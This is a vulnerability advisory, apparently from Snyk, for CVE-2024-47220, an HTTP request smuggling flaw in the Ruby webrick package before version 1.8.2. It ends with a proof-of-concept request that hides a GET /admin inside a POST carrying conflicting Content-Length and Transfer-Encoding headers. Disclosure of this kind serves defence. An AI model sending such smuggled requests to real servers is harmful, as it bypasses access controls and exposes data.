HTTP Request Smuggling Affecting webrick package, versions <1.8.2
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-RUBY-WEBRICK-8068535
- published 22 Sep 2024
- disclosed 22 Sep 2024
- credit JulianWu
Introduced: 22 Sep 2024
CVE-2024-47220 Open this link in a new tabHow to fix?
Upgrade webrick to version 1.8.2 or higher.
Overview
webrick is a HTTP server toolkit that can be configured as an HTTPS server, a proxy server, and a virtual-host server.
Affected versions of this package are vulnerable to HTTP Request Smuggling when httprequest.rb processes a request with both Content-Length and Transfer-Encoding headers. An attacker can send a GET /admin inside a POST /user to trick the server into treating the second one as a legitimate request, exposing unintended data.
Note: The package maintainers instruct users not to use this package in production and that it is no longer part of the Ruby language although it was in the past.
PoC
POST /user HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 50
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1:8000